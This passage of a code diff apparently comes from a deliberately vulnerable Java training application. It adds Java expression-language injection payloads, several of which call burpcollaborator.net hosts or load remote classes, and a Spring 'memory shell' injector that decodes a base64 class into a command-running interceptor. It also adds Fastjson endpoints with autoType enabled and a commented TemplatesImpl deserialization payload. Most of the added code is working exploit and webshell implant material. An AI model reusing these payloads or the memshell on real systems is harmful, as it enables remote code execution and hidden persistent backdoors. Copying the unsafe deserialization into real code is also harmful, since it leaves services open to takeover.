+ } + + @Override + public Object getVariable(String s) { + return null; + } + + @Override + public void setVariable(String s, Object o) { + + } + + @Override + public void setTransientVariable(String s, Object o) { + + } + + @Override + public String getTenantId() { + return null; + } + }); + + return result.toString(); + } + + public static void main(String[] args) throws IOException, ClassNotFoundException { +// String payload = "''.getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"java.lang.Runtime.getRuntime().exec('ping 1uwnjnqpo6cyg9g825afrsvunltphe.burpcollaborator.net')\")"; +// String payload = "''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('calc.exe')"; +// String payload = "''.getClass().forName('java.net.InetAddress').getMethod('getByName',''.getClass()).invoke('','ylnkakhmf33v7675t21cipmreikl8a.burpcollaborator.net')"; +// String payload = "\"\".getClass().forName(\"java.lang.ProcessBuilder\").getDeclaredConstructors()[0].newInstance([\"ping\",\"p0qbpbwduuimmxmw8tg3xg1it9zen3.burpcollaborator.net\"]).start()"; + String payload = "${\"\".getClass().forName(\"java.net.InetAddress\").getMethod(\"getByName\",\"\".getClass()).invoke(\"\",\"if1444b69nxf1q1pnmvwc9gb82e12q.burpcollaborator.net\")}\n"; +// String payload = "\"\".getClass().forName(\"java.net.InetSocketAddress\").getDeclaredConstructors()[2].newInstance([\"uqoimkc58pr8g1oe5i7ai71lyc4bs0.burpcollaborator.net\",80])"; +// String payload = "\"\".getClass().forName(\"java.net.Socket\").getDeclaredConstructors()[9].newInstance(\"uqoimkc58pr8g1oe5i7ai71lyc4bs0.burpcollaborator.net\",Integer.valueOf(80))"; +// String payload = "\"\".getClass().forName(\"org.yaml.snakeyaml.Yaml\").getDeclaredConstructors()[6].newInstance().load(\"!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ['http://ej12f45p19ks9lhyy20ubru5rwxwll.burpcollaborator.net/Yaml']]]]\")"; +// String payload = "\"\".getClass().forName(\"java.lang.ProcessBuilder\").getDeclaredConstructors()[0].newInstance([\"ping\",\"t3xhzjp4lo47t01dihk9v6ekbbhc51.burpcollaborator.net\"]).start()"; +// String payload = "''.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"java.lang.Runtime.getRuntime().exec('ping s0tgwim3in16qzycfgh8s5bj8aee23.burpcollaborator.net')\")"; +// String payload = "''.getClass().forName('java.net.URL').getDeclaredConstructors()[2].newInstance('http://kl98ha7v3fmybrj40820dxwbt2ztvhk.burpcollaborator.net/URL').openStream()"; +// String payload = "''.getClass().forName('jdk.jshell.JShell').getMethod('create').invoke(null).eval('java.lang.Runtime.getRuntime().exec(\"calc\")')"; + +// String payload = "''.getClass().forName('jdk.jshell.JShell').getMethod('create').invoke(null).eval('new java.lang.ProcessBuilder().command(\"cmd /c calc\".split(\" \")).start()')"; + + // 调用loadClass之前不会发出http请求,调用之后才发出。 +// new URLClassLoader(new URL[]{new URL("http://bp4zl1bm76qpfinv4z6rho02xt3kw8l.burpcollaborator.net")}, "".getClass().getClassLoader()).loadClass("EvilBB01"); + +// String[] payloads = new String[]{ +// "''.getClass().forName('java.net.URL').getDeclaredConstructors()[0].toString()", +// "''.getClass().forName('java.net.URL').getDeclaredConstructors()[1].toString()", +// "''.getClass().forName('java.net.URL').getDeclaredConstructors()[2].toString()", +// "''.getClass().forName('java.net.URL').getDeclaredConstructors()[3].toString()", +// "''.getClass().forName('java.net.URL').getDeclaredConstructors()[4].toString()", +// "''.getClass().forName('java.net.URL').getDeclaredConstructors()[5].toString()", +// "''.getClass().forName('java.net.URL').getDeclaredConstructors()[6].toString()", +// "''.getClass().forName('java.net.URL').getDeclaredConstructors()[7].toString()", +// "''.getClass().forName('java.net.URL').getDeclaredConstructors()[8].toString()", +// "''.getClass().forName('java.net.URL').getDeclaredConstructors()[9].toString()", +// }; + ELProcessor processor = new ELProcessor(); +// +//// String payload = "''.getClass().forName('org.yaml.snakeyaml.Yaml').getDeclaredConstructors()[0].toString()"; +// for (int i = 0; i < payloads.length; i++) { +// System.out.println(processor.eval(payloads[i]).toString()); +// } + +// System.out.println(processor.eval(payload).toString()); + +// (new java.io.FileOutputStream("/home/cqq/result.txt")).write((new java.lang.ProcessBuilder("ls","-al").start().getInputStream().readAllBytes())); +// new java.lang.ProcessBuilder("cmd","/c","calc").start(); +// List eval = JShell.create().eval(); +// Process process = (Process) processor.eval(payload); +// InputStream inputStream = process.getInputStream(); +// StringBuilder stringBuilder2 = new StringBuilder(); +// BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream)); +// String line; +// while((line = bufferedReader.readLine()) != null) { +// stringBuilder2.append(line).append("\n"); +// } +// +// String result = stringBuilder2.toString(); +// System.out.println(result); + +// ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + java.net.URL url = new URL("http://localhost:8080/com/SpringMemShell.class"); + URLClassLoader classLoader = new URLClassLoader(new URL[]{url}); + classLoader.loadClass("com.SpringMemShell"); + } + + static void injectMemShell(){ + + try{ + // 1. 反射 org.springframework.context.support.LiveBeansView 类 applicationContexts 属性 + Field field = Class.forName("org.springframework.context.support.LiveBeansView").getDeclaredField("applicationContexts"); + // 2. 属性被 private 修饰,所以 setAccessible true + field.setAccessible(true); + // 3. 获取一个 ApplicationContext 实例 + WebApplicationContext context =(WebApplicationContext) ((LinkedHashSet)field.get(null)).iterator().next(); + + AbstractHandlerMapping abstractHandlerMapping = (AbstractHandlerMapping)context.getBean("requestMappingHandlerMapping"); + field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors"); + field.setAccessible(true); + ArrayList adaptedInterceptors = (ArrayList)field.get(abstractHandlerMapping); + + ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + Class clazz = null; + try{ + clazz = classLoader.loadClass("com.feihong.ldap.template.DynamicInterceptorTemplate2"); + }catch(ClassNotFoundException e){ + try{ + String codeClass = "yv66vgAAADQBGQoAQQCDCACECQBAAIUKAEAAhgkAhwCICACJCgCKAIsIAIwLAI0AjggAjwoADwCQCgAPAJEJAJIAkwgAlAcAlQgAlggAlwgAmAgAmQcAmgoAmwCcCgCbAJ0KAJ4AnwoAFACgCAChCgAUAKIKABQAowsApAClCgCmAIsKAKcAqAoApwCpCACqCgAnAKsJAEAArAcArQgArgoArwCwCgCxALIHALMIALQHALUHAGMJALYAtwoAKQC4CgC5ALoHALsKALYAvAoAuQC9BwC+CgAxAL8HAMAKADMAvwcAwQoANQC/CADCCgDDAMQKAMUAxgcAxwcAyAoAOwDJBwDKCgCvAMsKAMwAzQcAzgcAzwEAEm15Q2xhc3NMb2FkZXJDbGF6egEAEUxqYXZhL2xhbmcvQ2xhc3M7AQAQYmFzaWNDbWRTaGVsbFB3ZAEAEkxqYXZhL2xhbmcvU3RyaW5nOwEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQA3TGNvbS9mZWlob25nL2xkYXAvdGVtcGxhdGUvRHluYW1pY0ludGVyY2VwdG9yVGVtcGxhdGUyOwEACXByZUhhbmRsZQEAZChMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDtMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2U7TGphdmEvbGFuZy9PYmplY3Q7KVoBAARjbWRzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEABnJlc3VsdAEAAWsBAAdyZXF1ZXN0AQAnTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7AQAIcmVzcG9uc2UBAChMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2U7AQAHaGFuZGxlcgEAEkxqYXZhL2xhbmcvT2JqZWN0OwEADVN0YWNrTWFwVGFibGUHAJUHAFABAApFeGNlcHRpb25zBwDQAQAKaW5pdGlhbGl6ZQEABHZhcjcBACFMamF2YS9sYW5nL05vU3VjaE1ldGhvZEV4Y2VwdGlvbjsBAARjb2RlAQAFYnl0ZXMBAAJbQgEABm1ldGhvZAEAGkxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQAEdmFyOAEAIkxqYXZhL2xhbmcvQ2xhc3NOb3RGb3VuZEV4Y2VwdGlvbjsBAAtjbGFzc0xvYWRlcgEAF0xqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7AQAEdmFyOQEAIkxqYXZhL2xhbmcvSWxsZWdhbEFjY2Vzc0V4Y2VwdGlvbjsBAAV2YXIxMQEALUxqYXZhL2xhbmcvcmVmbGVjdC9JbnZvY2F0aW9uVGFyZ2V0RXhjZXB0aW9uOwcAzgcAswcArQcA0QcAvgcAwAcAwQEABG1haW4BABYoW0xqYXZhL2xhbmcvU3RyaW5nOylWAQAMY2xhc3NDb250ZW50AQABZQEAH0xqYXZhL2lvL0ZpbGVOb3RGb3VuZEV4Y2VwdGlvbjsBABVMamF2YS9pby9JT0V4Y2VwdGlvbjsBAARhcmdzAQASYmFzZTY0Q2xhc3NDb250ZW50BwDHBwDKAQAKU291cmNlRmlsZQEAIER5bmFtaWNJbnRlcmNlcHRvclRlbXBsYXRlMi5qYXZhAQAZUnVudGltZVZpc2libGVBbm5vdGF0aW9ucwEAK0xvcmcvc3ByaW5nZnJhbWV3b3JrL3N0ZXJlb3R5cGUvQ29udHJvbGxlcjsMAEYARwEABHBhc3MMAEQARQwAXgBHBwDSDADTANQBACJbK10gRHluYW1pYyBJbnRlcmNlcHRvciBzYXlzIGhlbGxvBwDVDADWANcBAAR0eXBlBwDYDADZANoBAAViYXNpYwwA2wDcDADdAN4HAN8MAOAARQEAAS8BABBqYXZhL2xhbmcvU3RyaW5nAQAHL2Jpbi9zaAEAAi1jAQADY21kAQACL0MBABFqYXZhL3V0aWwvU2Nhbm5lcgcA4QwA4gDjDADkAOUHAOYMAOcA6AwARgDpAQACXEEMAOoA6wwA7ADtBwDuDADvAPAHAPEHAPIMAPMA9AwA9QD2AQAnY29tLmZlaWhvbmcubGRhcC50ZW1wbGF0ZS5NeUNsYXNzTG9hZGVyDAD3APgMAEIAQwEAIGphdmEvbGFuZy9DbGFzc05vdEZvdW5kRXhjZXB0aW9uAQMceXY2NnZnQUFBRElBR3dvQUJRQVdCd0FYQ2dBQ0FCWUtBQUlBR0FjQUdRRUFCanhwYm1sMFBnRUFHaWhNYW1GMllTOXNZVzVuTDBOc1lYTnpURzloWkdWeU95bFdBUUFFUTI5a1pRRUFEMHhwYm1WT2RXMWlaWEpVWVdKc1pRRUFFa3h2WTJGc1ZtRnlhV0ZpYkdWVVlXSnNaUUVBQkhSb2FYTUJBQ2xNWTI5dEwyWmxhV2h2Ym1jdmJHUmhjQzkwWlcxd2JHRjBaUzlOZVVOc1lYTnpURzloWkdWeU93RUFBV01CQUJkTWFtRjJZUzlzWVc1bkwwTnNZWE56VEc5aFpHVnlPd0VBQzJSbFptbHVaVU5zWVhOekFRQXNLRnRDVEdwaGRtRXZiR0Z1Wnk5RGJHRnpjMHh2WVdSbGNqc3BUR3BoZG1FdmJHRnVaeTlEYkdGemN6c0JBQVZpZVhSbGN3RUFBbHRDQVFBTFkyeGhjM05NYjJGa1pYSUJBQXBUYjNWeVkyVkdhV3hsQVFBU1RYbERiR0Z6YzB4dllXUmxjaTVxWVhaaERBQUdBQWNCQUNkamIyMHZabVZwYUc5dVp5OXNaR0Z3TDNSbGJYQnNZWFJsTDAxNVEyeGhjM05NYjJGa1pYSU1BQThBR2dFQUZXcGhkbUV2YkdGdVp5OURiR0Z6YzB4dllXUmxjZ0VBRnloYlFrbEpLVXhxWVhaaEwyeGhibWN2UTJ4aGMzTTdBQ0VBQWdBRkFBQUFBQUFDQUFBQUJnQUhBQUVBQ0FBQUFEb0FBZ0FDQUFBQUJpb3J0d0FCc1FBQUFBSUFDUUFBQUFZQUFRQUFBQVFBQ2dBQUFCWUFBZ0FBQUFZQUN3QU1BQUFBQUFBR0FBMEFEZ0FCQUFrQUR3QVFBQUVBQ0FBQUFFUUFCQUFDQUFBQUVMc0FBbGtydHdBREtnTXF2cllBQkxBQUFBQUNBQWtBQUFBR0FBRUFBQUFJQUFvQUFBQVdBQUlBQUFBUUFCRUFFZ0FBQUFBQUVBQVRBQTRBQVFBQkFCUUFBQUFDQUJVPQcA+QwA+gD9BwD+DAD/AQABABVqYXZhL2xhbmcvQ2xhc3NMb2FkZXIBAAtkZWZpbmVDbGFzcwEAD2phdmEvbGFuZy9DbGFzcwcBAQwBAgBDDAEDAQQHANEMAQUBBgEAEGphdmEvbGFuZy9PYmplY3QMAQcBCAwBCQEKAQAfamF2YS9sYW5nL05vU3VjaE1ldGhvZEV4Y2VwdGlvbgwBCwBHAQAgamF2YS9sYW5nL0lsbGVnYWxBY2Nlc3NFeGNlcHRpb24BACtqYXZhL2xhbmcvcmVmbGVjdC9JbnZvY2F0aW9uVGFyZ2V0RXhjZXB0aW9uAQBfQzpccmVwb3NcSk5ESUV4cGxvaXRcdGFyZ2V0XGNsYXNzZXNcY29tXGZlaWhvbmdcbGRhcFx0ZW1wbGF0ZVxEeW5hbWljSW50ZXJjZXB0b3JUZW1wbGF0ZTIuY2xhc3MHAQwMAQ0BDgcBDwwBEAERAQAdamF2YS9pby9GaWxlTm90Rm91bmRFeGNlcHRpb24BABpqYXZhL2xhbmcvUnVudGltZUV4Y2VwdGlvbgwARgESAQATamF2YS9pby9JT0V4Y2VwdGlvbgwBEwEVBwEWDAEXARgBADVjb20vZmVpaG9uZy9sZGFwL3RlbXBsYXRlL0R5bmFtaWNJbnRlcmNlcHRvclRlbXBsYXRlMgEAQW9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvaGFuZGxlci9IYW5kbGVySW50ZXJjZXB0b3JBZGFwdGVyAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAGGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZAEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL1N0cmluZzspVgEAJWphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3QBAAxnZXRQYXJhbWV0ZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEABmVxdWFscwEAFShMamF2YS9sYW5nL09iamVjdDspWgEAB2lzRW1wdHkBAAMoKVoBAAxqYXZhL2lvL0ZpbGUBAAlzZXBhcmF0b3IBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAEWphdmEvbGFuZy9Qcm9jZXNzAQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgEADHVzZURlbGltaXRlcgEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvdXRpbC9TY2FubmVyOwEABG5leHQBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEAJmphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlAQAJZ2V0V3JpdGVyAQAXKClMamF2YS9pby9QcmludFdyaXRlcjsBABNqYXZhL2lvL1ByaW50V3JpdGVyAQAQamF2YS9sYW5nL1RocmVhZAEADWN1cnJlbnRUaHJlYWQBABQoKUxqYXZhL2xhbmcvVGhyZWFkOwEAFWdldENvbnRleHRDbGFzc0xvYWRlcgEAGSgpTGphdmEvbGFuZy9DbGFzc0xvYWRlcjsBAAlsb2FkQ2xhc3MBACUoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7AQAQamF2YS91dGlsL0Jhc2U2NAEACmdldERlY29kZXIBAAdEZWNvZGVyAQAMSW5uZXJDbGFzc2VzAQAcKClMamF2YS91dGlsL0Jhc2U2NCREZWNvZGVyOwEAGGphdmEvdXRpbC9CYXNlNjQkRGVjb2RlcgEABmRlY29kZQEAFihMamF2YS9sYW5nL1N0cmluZzspW0IBABFqYXZhL2xhbmcvSW50ZWdlcgEABFRZUEUBABFnZXREZWNsYXJlZE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAA1zZXRBY2Nlc3NpYmxlAQAEKFopVgEAB3ZhbHVlT2YBABYoSSlMamF2YS9sYW5nL0ludGVnZXI7AQAGaW52b2tlAQA5KExqYXZhL2xhbmcvT2JqZWN0O1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAPcHJpbnRTdGFja1RyYWNlAQATamF2YS9uaW8vZmlsZS9QYXRocwEAA2dldAEAOyhMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL25pby9maWxlL1BhdGg7AQATamF2YS9uaW8vZmlsZS9GaWxlcwEADHJlYWRBbGxCeXRlcwEAGChMamF2YS9uaW8vZmlsZS9QYXRoOylbQgEAGChMamF2YS9sYW5nL1Rocm93YWJsZTspVgEACmdldEVuY29kZXIBAAdFbmNvZGVyAQAcKClMamF2YS91dGlsL0Jhc2U2NCRFbmNvZGVyOwEAGGphdmEvdXRpbC9CYXNlNjQkRW5jb2RlcgEADmVuY29kZVRvU3RyaW5nAQAWKFtCKUxqYXZhL2xhbmcvU3RyaW5nOwAhAEAAQQAAAAIAAgBCAEMAAAACAEQARQAAAAQAAQBGAEcAAQBIAAAARQACAAEAAAAPKrcAASoSArUAAyq3AASxAAAAAgBJAAAAEgAEAAAAFgAEABQACgAXAA4AGABKAAAADAABAAAADwBLAEwAAAABAE0ATgACAEgAAAFOAAQABwAAAJ+yAAUSBrYABysSCLkACQIAxgCNKxIIuQAJAgASCrYAC5kAfSsqtAADuQAJAgA6BBkExgBsGQS2AAyaAGSyAA0SDrYAC5kAGwa9AA9ZAxIQU1kEEhFTWQUZBFM6BacAGAa9AA9ZAxISU1kEEhNTWQUZBFM6BbsAFFm4ABUZBbYAFrYAF7cAGBIZtgAatgAbOgYsuQAcAQAZBrYAHQOsBKwAAAADAEkAAAAuAAsAAAAbAAgAHQAjAB4ALwAfADwAIQBHACIAXwAkAHQAJwCQACgAmwApAJ0ALQBKAAAAUgAIAFwAAwBPAFAABQB0ACkATwBQAAUAkAANAFEARQAGAC8AbgBSAEUABAAAAJ8ASwBMAAAAAACfAFMAVAABAAAAnwBVAFYAAgAAAJ8AVwBYAAMAWQAAABEAA/wAXwcAWvwAFAcAW/kAKABcAAAABAABAF0AAgBeAEcAAQBIAAABtgAHAAcAAACJuAAetgAfTCorEiC2ACG1ACKnAGdNEiROuAAlLbYAJjoEAToFEicSKAa9AClZAxIqU1kEsgArU1kFsgArU7YALDoFGQUEtgAtKhkFKwa9AC5ZAxkEU1kEA7gAL1NZBRkEvrgAL1O2ADDAACm1ACKnAAo6BhkGtgAypwAQTCu2ADSnAAhMK7YANrEABAAHABEAFAAjACQAbgBxADEAAAB4AHsAMwAAAHgAgwA1AAMASQAAAFIAFAAAADIABwA1ABEAQgAUADYAFQA3ABgAOAAhADkAJAA8AEIAPQBIAD4AbgBBAHEAPwBzAEAAeABHAHsAQwB8AEQAgABHAIMARQCEAEYAiABJAEoAAABcAAkAcwAFAF8AYAAGABgAYABhAEUAAwAhAFcAYgBjAAQAJABUAGQAZQAFABUAYwBmAGcAAgAHAHEAaABpAAEAfAAEAGoAawABAIQABABsAG0AAQAAAIkASwBMAAAAWQAAAEEABv8AFAACBwBuBwBvAAEHAHD/AFwABgcAbgcAbwcAcAcAWgcAKgcAcQABBwBy/wAGAAEHAG4AAEIHAHNHBwB0BAAJAHUAdgABAEgAAADWAAMAAwAAADQSNwO9AA+4ADi4ADlMpwAXTbsAO1kstwA8v027ADtZLLcAPL+4AD4rtgA/TbIABSy2AAexAAIAAAANABAAOgAAAA0AGgA9AAMASQAAACYACQAAAE4ADQBTABAATwARAFAAGgBRABsAUgAkAFUALABWADMAVwBKAAAAPgAGAA0AAwB3AGMAAQARAAkAeAB5AAIAGwAJAHgAegACAAAANAB7AFAAAAAkABAAdwBjAAEALAAIAHwARQACAFkAAAAQAANQBwB9SQcAfvwACQcAKgADAH8AAAACAIAAgQAAAAYAAQCCAAAA/AAAABIAAgCxAK8A+wAJAMwArwEUAAk="; + byte[] bytes = java.util.Base64.getDecoder().decode(codeClass); + + Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + method.setAccessible(true); + clazz = (Class) method.invoke(classLoader, bytes, 0, bytes.length); + }catch (Exception ex){ + ex.printStackTrace(); + } + } + + adaptedInterceptors.add(clazz.newInstance()); + } catch (NoSuchFieldException e) { + throw new RuntimeException(e); + } catch (ClassNotFoundException e) { + throw new RuntimeException(e); + } catch (IllegalAccessException e) { + throw new RuntimeException(e); + } catch (InstantiationException e) { + throw new RuntimeException(e); + } + } +} + + diff --git a/src/main/java/org/joychou/controller/Fastjson.java b/src/main/java/org/joychou/controller/Fastjson.java new file mode 100644 index 00000000..df806f7c --- /dev/null +++ b/src/main/java/org/joychou/controller/Fastjson.java @@ -0,0 +1,179 @@ +package org.joychou.controller; + +import com.alibaba.fastjson.JSON; +import com.alibaba.fastjson.JSONObject; +import com.alibaba.fastjson.parser.Feature; +import com.alibaba.fastjson.parser.ParserConfig; +import org.joychou.dao.User; +import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RequestMethod; +import org.springframework.web.bind.annotation.ResponseBody; + +import java.lang.reflect.Type; +import java.net.MalformedURLException; +import java.util.Map; + + +@Controller +@RequestMapping("/fastjson") +public class Fastjson { + + @RequestMapping(value = "/deserialize", method = {RequestMethod.POST}) + @ResponseBody + public String Deserialize(@RequestBody String params) { + // 如果Content-Type不设置application/json格式,post数据会被url编码 + try { + // 将post提交的string转换为json + JSONObject ob = JSON.parseObject(params); + return ob.toString(); +// return ob.get("name").toString(); + } catch (Exception e) { + throw e; + } + } + + @RequestMapping(value = "/deserialize0", method = {RequestMethod.POST}) + @ResponseBody + public String Deserialize0(@RequestBody String params) { + // 如果Content-Type不设置application/json格式,post数据会被url编码 + try { + // 将post提交的string转换为json + JSONObject ob = JSON.parseObject(params); + return ob.toString(); +// return ob.get("name").toString(); + } catch (Exception e) { + return e.toString(); +// throw e; + } + } + + + @RequestMapping(value = "/deserialize00", method = {RequestMethod.POST}) + @ResponseBody + public String Deserialize00(@RequestBody String params) { + // 如果Content-Type不设置application/json格式,post数据会被url编码 + try { + // 将post提交的string转换为json + ParserConfig.getGlobalInstance().setAutoTypeSupport(true); + JSONObject ob = JSON.parseObject(params); + return ob.toString(); +// return ob.get("name").toString(); + } catch (Exception e) { + return e.toString(); +// throw e; + } + } + + @RequestMapping(value = "/deserialize1", method = {RequestMethod.POST}) + @ResponseBody + public String Deserialize1(@RequestBody String params) { + // 如果Content-Type不设置application/json格式,post数据会被url编码 + try { + // 将post提交的string转换为json +// JSONObject ob = JSON.parseObject(params, Feature.SafeMode); +// return ob.toString(); +// return ob.get("name").toString(); + return ""; + } catch (Exception e) { + return e.toString(); +// throw e; + } + } + + + + @RequestMapping(value = "/deserialize2", method = {RequestMethod.POST}) + @ResponseBody + public String Deserialize2(@RequestBody String params) { + // 如果Content-Type不设置application/json格式,post数据会被url编码 + try { + // 将post提交的string转换为json + User ob = JSON.parseObject(params, User.class); + return ob.toString(); +// return ob.get("name").toString(); + } catch (Exception e) { + return e.toString(); +// throw e; + } + } + + + @RequestMapping(value = "/deserialize3", method = {RequestMethod.POST}) + @ResponseBody + public String Deserialize3(@RequestBody String params) { + // 如果Content-Type不设置application/json格式,post数据会被url编码 + try { + // 将post提交的string转换为json + Object ob = JSON.parseObject(params).toJavaObject(org.aspectj.org.eclipse.jdt.internal.compiler.lookup.SourceTypeCollisionException.class); + return ob.toString(); +// return ob.get("name").toString(); + } catch (Exception e) { + return e.toString(); +// throw e; + } + } + + public static void main(String[] args) throws MalformedURLException { + // Open calc in mac +// String payload = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\", \"_bytecodes\": [\"yv66vgAAADEAOAoAAwAiBwA2BwAlBwAmAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBa0gk/OR3e8+AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABNTdHViVHJhbnNsZXRQYXlsb2FkAQAMSW5uZXJDbGFzc2VzAQAzTG1lL2xpZ2h0bGVzcy9mYXN0anNvbi9HYWRnZXRzJFN0dWJUcmFuc2xldFBheWxvYWQ7AQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHACcBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBAAhFeHAuamF2YQwACgALBwAoAQAxbWUvbGlnaHRsZXNzL2Zhc3Rqc29uL0dhZGdldHMkU3R1YlRyYW5zbGV0UGF5bG9hZAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABRqYXZhL2lvL1NlcmlhbGl6YWJsZQEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAHW1lL2xpZ2h0bGVzcy9mYXN0anNvbi9HYWRnZXRzAQAIPGNsaW5pdD4BABFqYXZhL2xhbmcvUnVudGltZQcAKgEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMACwALQoAKwAuAQASb3BlbiAtYSBDYWxjdWxhdG9yCAAwAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAMgAzCgArADQBAA9saWdodGxlc3MvcHduZXIBABFMbGlnaHRsZXNzL3B3bmVyOwAhAAIAAwABAAQAAQAaAAUABgABAAcAAAACAAgABAABAAoACwABAAwAAAAvAAEAAQAAAAUqtwABsQAAAAIADQAAAAYAAQAAADwADgAAAAwAAQAAAAUADwA3AAAAAQATABQAAgAMAAAAPwAAAAMAAAABsQAAAAIADQAAAAYAAQAAAD8ADgAAACAAAwAAAAEADwA3AAAAAAABABUAFgABAAAAAQAXABgAAgAZAAAABAABABoAAQATABsAAgAMAAAASQAAAAQAAAABsQAAAAIADQAAAAYAAQAAAEIADgAAACoABAAAAAEADwA3AAAAAAABABUAFgABAAAAAQAcAB0AAgAAAAEAHgAfAAMAGQAAAAQAAQAaAAgAKQALAAEADAAAABsAAwACAAAAD6cAAwFMuAAvEjG2ADVXsQAAAAAAAgAgAAAAAgAhABEAAAAKAAEAAgAjABAACQ==\"], \"_name\": \"lightless\", \"_tfactory\": { }, \"_outputProperties\":{ }}"; +// JSON.parseObject(payload, Feature.SupportNonPublicField); +// String result = formatChars("root:".toCharArray()); +// System.out.println(result); + +// String aaa_8192 = 